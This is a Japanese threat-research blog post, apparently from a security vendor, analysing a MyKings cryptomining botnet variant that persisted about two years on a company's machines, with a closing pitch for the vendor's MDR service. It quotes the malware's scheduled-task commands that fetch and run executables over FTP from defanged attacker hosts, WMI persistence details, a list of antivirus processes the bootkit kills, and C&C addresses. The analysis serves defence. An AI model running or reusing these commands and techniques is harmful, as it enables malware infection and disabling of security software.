ボットネット「MyKings」の全体像がMDRによって確認される

2019年5月、アジア太平洋地域のあるエレクトロニクス企業においてのMDR導入プロセス中に、ネットワーク監視センサー「Trend Micro™ Deep Discovery™ Inspector 」が不審な活動を確認しました。この不審な活動は、ランサムウェア「WannaCry」の攻撃で利用されていたことで有名な脆弱性攻撃ツール「EternalBlue」に関連していることが判明しました。大きな脅威につながる可能性から、トレンドマイクロは、この時点で企業に注意を促しました。

この不審活動が確認された後の2019年6月、この企業が所有するコンピュータの1台から、以下の不正なURLとの通信の痕跡が確認されました。これらのURLは脅威の感染経路であることが確認されています。

  • hxxp://<省略>[.]mykings.top:280/<省略>[.]sct
  • hxxp://<省略>[.]mykings.top:280/<省略>[.]msi

どちらのURLにも、「mykings」という単語が含まれています。これは、2017年7月に確認された仮想通貨発掘マルウェア「COINMINER」のボットネットが利用していたコマンド&コントロール(C&C)サーバのURLにも確認された単語です。これが脅威の最初の手がかりとなりました。

さらに、コンピュータのレジストリに変更が加えられていることが確認され、これによって持続的な不正活動を可能にしていると考えられました。これらのレジストリエントリは、前述の不正なURLへのC&Cコールバックを担当します。

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start”
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start1”
  • HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start”
  • HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start1”

さらに詳しく調査したところ、これらのエントリは2017年に追加されたものであることが判明しました。つまり、このMyKingsの亜種が見つかるまで約2年間も対象の企業のコンピュータ内に潜んでいたことを示しています。この事実は解析をさらに困難にしました。なぜなら、マルウェアが送り込むペイロードを判別するには侵入が行われた実際の時期に調査を行うことが重要なためです。C&Cサーバへの参照やダウンロードURLなど多くのボットネットのコンポーネントは、短期間でアクセスが不可能になるため、解析者にとっては非常に厄介です。MyKingsの場合では、その期間は約一週間でした。埋め込みURLとファイルを利用して始まる感染とは異なり、今回確認されたMyKingsは単純に必要なすべてのコンポーネントを遠隔のサーバからダウンロードするスクリプトを利用していました。

図1:2017年に追加されたレジストリエントリ
図1:2017年に追加されたレジストリエントリ

不正なアクセスや情報漏えいなどの証拠を探すフォレンジック調査からは、不正活動を持続させる仕組みのいくつかが、以前2017年に行われた「EternalBlue」の調査と一致していることを確認しました。また、自動実行レジストリとは別に、スケジュールされたタスクおよびWindows を管理する正規ツール「Windows Management Instrumentation(WMI)」オブジェクトを利用することを確認しました。以下の表はスケジュールされたタスク(表1)とWMIオブジェクト(表2)の一覧です。

タスク名 起動文字列
Mysa cmd /c echo open down[.]mysking[.]info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe”}
Mysa1 rundll32.exe c:\\windows\\debug\\item.dat
Mysa2 cmd /c echo open ftp[.]ftp0118[.]info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\\windows\\debug\\item.dat>>p&echo bye>>p&ftp -s:p”}
Mysa3 cmd /c echo open ftp[.]ftp0118[.]info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\\windows\\help\\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\\windows\\help\\lsmosee.exe”}
ok rundll32.exe c:\\windows\\debug\\ok.dat

表1:スケジュールされたタスクと対応する起動文字列の一覧

WMIオブジェクト 詳細
__EventConsumerName : fuckyoumm2_consumer 「EventConsumer」に使用するコード
__EventFilter
Name:fuckyoumm2_filter
Query : select * from __timerevent where timerid=”fuckyoumm2_itimer”
__FilterToConsumerBinding __FilterToConsumerBinding.Consumer=”\\\\.\\root\\
subscription:ActiveScriptEventConsumer.Name=\”
fuckyoumm2_consumer\””,Filter=”\\\\.\\root\\
subscription:__EventFilter.Name=\”fuckyoumm2_filter\””

表2:WMIオブジェクトと関連する詳細

解析の結果から、この亜種の基本的なインフラストラクチャは以前に確認されたMyKingsのものと同様であることがわかりました。しかし、いくつかの興味深い追加があり、その詳細について解説します。

■ボットネット「MyKings」による攻撃の背景

ボットネットの急速な拡大は、最近の事例の中でもとりわけ深刻なサイバーセキュリティ問題になりました。MyKingsだけでも、すでに50万台を超えるコンピュータが感染し、2018年初頭には230万米ドル(2019年9月9日時点で約2億450万円)相当額をマイニングしました。その後もMyKingsは攻撃対象と感染手法の両方を変更し続けました。
2017年の弊社の地域別データは、その年に確認された感染のほとんどがアジア太平洋地域で発生したことを示しています。確認されたMyKingsの攻撃時期から、2017年に実行されたキャンペーン活動の一部であった可能性があります。
攻撃対象となった企業が直面した主な課題の1つは、一見ばらばらに見える指標を相関させて、攻撃の実態をより明確に把握することでした。 しかしながら、実際2017年にはすでに感染していたために、この調査はさらに複雑さを増していきました。つまり、マルウェアがその不正活動を実行してさまざまなペイロードを拡散するための十分な時間があったということです。
弊社が設置したネットワーク監視センサーは、以下の図2から分かるように、バックドア、コインマイナー、トロイの木馬型などのさまざまな種類のマルウェアが検出しています。MyKingsについての経験や知識がない人がこの結果を見た場合、複数の攻撃者による複数種類のマルウェアを利用した攻撃活動であると捉えてしまう可能性が考えられます。

図2:「Trend Micro Deep Discovery Inspector」のダッシュボードに表示される攻撃の一覧
図2:「Trend Micro Deep Discovery Inspector」のダッシュボードに表示される攻撃の一覧

さらに、MyKingsは不正活動を持続化させる仕組みを複数利用しているため、感染したコンピュータから削除することは困難です。以下では、この仕組みについて技術的視点から解説します。

■「MyKings」の技術的解析

ブートキットを利用して攻撃を持続化

2017年7月に行われたMyKingsの初調査の際、コインマイナーをドロップするボットネットが、どのようにして活動を持続させるためにWMIを利用するかについて焦点を当てました。IoTマルウェア「Mirai」と同様に、MyKingsは感染する機能を変化させて続けているようです。今回確認されたMykingsの亜種が持つ不正活動を持続化させる手法はWMI一つだけでなく、レジストリ、タスクスケジューラ、ブートキットなど複数の手法を使用していました。特に、マスターブートレコード(MBR)に感染するマルウェアであるブートキット(「Trojan.Win32.FUGRAFA.AB」として検出)を使用した点は興味深い手法です。
ブートキットはファイル名「lsmosee.exe」もしくは「s.rar」を利用します。補足として、今年の報告によれば、ブートキットのコードはファイル名「ok.exe」からも確認されていますが、弊社の解析時にはURLがアクセス不能になっていたため最終的にはブートキットの確認はできませんでした。最初にハードディスクのハンドルを取得し、通常はMBRを含む1番目のセクタをチェックしてから、コードが既にディスクに書き込まれているかどうかを確認します。

図3:MBRを確認するブートキット
図3:MBRを確認するブートキット

次に、MBRが他のブートキットにすでに感染しているかどうかを確認し、その後、変更を加える前にMBRの復元を試みます。 ブートキットは、元のMBRを2番目のセクタにコピーし、1番目のMBRを独自のブートコードで上書きしてから残りのコードをディスクに書き込み、起動の際に実行されるようにします。

カーネルモードの活動

ブートキットは最初に以下の図4に示されている3番目のセクタにあるコードを読み取り、それを上位アドレス、この場合では「0x8f000」に読み込みます。この不正なコードは合計60のセクタに分配されます。

図4:60セクタへのコードの分配
図4:60セクタへのコードの分配

ブートコードの主な目的は、活動を持続化させることと自己の保護です。 また、非同期プロシージャ呼び出し(Asynchronous Procedure Call、APC)インジェクションを介して不正コードをプロセスの実行環境「ユーザ空間」に書き込みます。 この動作の実行のためにはまず、INT15が呼び出された際に「0x8F00:0x0247」に実行をリダイレクトするために、IDT(Interrupt Descriptor Table)内に示されているINT 15のアドレスを変更します。以下の図5は、その様子を示しています。

図5:IDT内のINT15のアドレスの変更
図5:IDT内のINT15のアドレスの変更

この動作の後、システムを起動する前に、2番目のセクタにある元のMBRが実行されます。
大抵はシステムの起動プロセス中に実行されると考えられますが、INT15が呼び出されると、マルウェアの起動コードは他のいくつかのカーネルレベルの機能を変更することでさらに進みます。 最終的に、APCインジェクションを実行し、以下の表3に示されているすべてのアンチウイルス関連のプロセスを終了させます。

avp.exe acaegmgr.exe sapissvc.exe
zhudongfangyu.exe Rtvscan.exe scsecsvc.exe
superkiller.exe avastsvc.exe avgsvc.exe
360sd.exe bdagent.exe aycagentsrv.ayc
360safe.exe mcshield.exe liveupdate360.exe
360rps.exe mcsvhost.exe 360rp
kavfs.exe mfefire.exe qqpctray.exe
sragent.exe mfemms.exe Mcshield.exe
QQPCRTP.exe arwsrvc.exe shstat.exe
systemaidbox.exe dwarkdaemon.exe naprdmgr.exe
avgnt.exe vssery.exe avgui.exe
avengine.exe avguard.exe gziface.exe
msmpeng.exe ahnsdsv.exe ekrn.exe
nissrv.exe asdsvc.exe dwengine.exe
msseces.exe kavfswp.exe spideragent.exe
ccSvcHst.exe mbamservice.exe bdagent.exe
ekrn.exe mbam.exe smsvchost.exe
nod32krn.exe qhpisvr.exe avastui.exe
aswidsagenta.exe quhlpsvc.exe ksafe.exe
afwserv.exe savservice.exe
v3svc.exe hipsmain.exe
hipsdaemon.exe

表3:ブートローダーによって終了されたプロセスのリスト

「Winlogon」、「File Explorer」、または「Svchost」などの不正なコードが挿入される場所は、Windowsのバージョンなどの条件によって異なります。

図6:「explorer.exe」に挿入される不正なコード
図6:「explorer.exe」に挿入される不正なコード

上記のプロセスが失敗した場合、代わりに「svchost.exe」に挿入されます。

ユーザモードの活動:「winlogon.exe」、「explorer.exe」、および「svchost.exe」

挿入されたユーザ空間コードの主な役割は、C&Cサーバから不正なコードをダウンロードすることです。ここで使用されるC&Cサーバのアドレスはhxxp[://]www[.]<省略>[.]info/address[.]txtから取得されます。「address.txt」の内容は時間とともに変化します。 弊社によるこのプロセスの試行中、address.txtに以下の内容が含まれているのを確認しました。
[main]
count=6
ip1=http[://]<省略>71.194
ip2=http[://]<省略>152.247
ip3=http[://]<省略>2.182
ip4=http[://]<省略>124.70
ip5=http[://]<省略>76.227
ip6=http[://]1<省略>246.23
[update]
count=6
ip1=http[://]<省略>71.194
ip2=http[://]<省略>152.247
ip3=http[://]<省略>.2.182
ip4=http[://]<省略>124.70
ip5=http[://]<省略>76.227
ip6=http[://]<省略>.246.23
C&Cサーバとの接続が確立されると、挿入されたプロセスによって実行される不正なシェルコード「TestMsg.tmp」が上述のサーバのいずれかからダウンロードされます。このシェルコードのダウンロードでは「cloud.txt」を参照し、シェルコードには以下のテキストが含まれていましたが、このテキストはダウンロード毎に替わります。
 [config]
url=about:blank
exe=http[://]<省略>/upsupx.exe
「upsupx.exe」がダウンロードおよび保存され、「C:\Windows\Temp\」として実行されます。

メインダウンローダ:「upsupx.exe」および「conhost.ex」

以下の図7は、マルウェアの亜種がC&Cサーバアドレスを取得し、他のペイロードをダウンロードするために実行したHTTPリクエストをまとめたものです。

図7. MyKingsからC&Cサーバに送信されるHTTPリクエスト
図7. MyKingsからC&Cサーバに送信されるHTTPリクエスト

そしてC&Cサーバ一覧を含むレジストリ「:\Program Files\Common Files\xpdown.dat」を作成します。 以下は、この一覧が示すC&Cサーバの一部です。

  • ok[.]xmr6b[.]ru
  • 74[.]222[.]14[.]61
  • 45[.]58[.]135[.]106
  • 103[.]95[.]28[.]54
  • 103[.]213[.]246[.]23

次に、サーバの1つを選択し更新された「xpdown.dat」をダウンロードします。 弊社が解析した時は、サーバ「45[.]58[.]135[.]106」からダウンロードされました。以下はそのダウンロード元であるサーバの一覧です。

  • Ok[.]xmr6b[.]ru
  • 61
  • 74[.]222[.]14[.]61
  • 139[.]5[.]177[.]10
  • 45[.]58[.]135[.]106

サーバが選択されると、HTTPリクエストが 「{server}/ok/down[.]html, {server}/ok/64[.]」html」および「{server}/ok/vers[.]html」に送信されます。 以下の図8ではその様子を示しています。

図8:他のサーバに送信されたHTTPリクエスト
図8:他のサーバに送信されたHTTPリクエスト

弊社が上述の動作を32ビット版コンピュータを使用して試行したところ、マルウェアはサーバ「45[.]58[.]135[.]106」からダウンロードされ続けました。感染コンピュータが32ビット版もしくは64ビット版どちらのものであるかによって、ダウンロードサーバが異なる可能性があると見られています。
次に、「downs.txt」からダウンロードして実行するファイルの一覧を最終的に取得する前に、終了させるプロセス一覧「kill.txt」をダウンロードします。

図9:「downs.txt」のダウンロード
図9:「downs.txt」のダウンロード

さらに解析した結果、これらのダウンロードされたファイルの目的は、コンピュータが再起動されるたびに感染サイクルを繰り返すことであることが判明しました。不正活動を持続化する仕組みの可視部分を削除したとしても、こ感染を完全に削除することはできません。また、上の図9に示されている「Msief.exe」は、パッチファイル「c3.bat」を含む自己解凍アーカイブです。このファイルは、すべてのスケジュールされたタスク、WMI、およびレジストリの自動起動を行います。

■「MyKings」などのボットネットの脅威に対抗するMDR

今回のような事例においてトレンドマイクロが提供するMDRのような外部委託型セキュリティサービスが効果を発揮します。MDRは、インシデント調査や脅威の解析の実施の他、最も重要な点として、一見無関係に見える異なる指標を相関分析することで、攻撃の全体像をより明確に把握することを可能にします。
特に、感染が2年間確認されなかったこの事例は、MDRのようなセキュリティサービスが効果的であることを示す結果となりました。ツールとしての
MDRの利用と「MyKings」に対する知識と経験によって脅威を迅速に識別し、攻撃対象となった企業に修復戦略を提供することができました。
高度なセキュリティ技術と十分な知識と経験を持つセキュリティ専門家の存在は、迅速かつ効率的に感染の流れを特定し、関連するURL、脆弱性、自動実行方法、および不正ファイルを検出することを可能にします。以下の2つの図は、セキュリティツールを使用することによってMyKingsのような巧妙なボット型マルウェアも明確かつ簡潔に説明できることを示しています。

図10:「DR0」(MBR)へのアクセスを示すブートキットのインストールの流れ
図10:「DR0」(MBR)へのアクセスを示すブートキットのインストールの流れ
図11: 再起動時の感染の流れ。活動を持続させる仕組み「WMIC.exe」、「schtasks.exe」、「reg.exe」などが表示されている
図11: 再起動時の感染の流れ。活動を持続させる仕組み「WMIC.exe」、「schtasks.exe」、「reg.exe」などが表示されている

また、内外の脅威に精通していることに加え、トレンドマイクロのMDRチームは、企業組織内部の情報探索活動の動きを検出することのできる「Deep Discovery™ Inspector」をはじめとした高度なセキュリティソリューションの活用に熟練しています。

■侵入の痕跡(Indicators of Compromise 、IoCs)

侵入の痕跡(Indicators of Compromise、IoCs)はこちらを参照してください。
参考記事:

翻訳: 下舘 紗耶加(Core Technology Marketing, Trend Micro™ Research)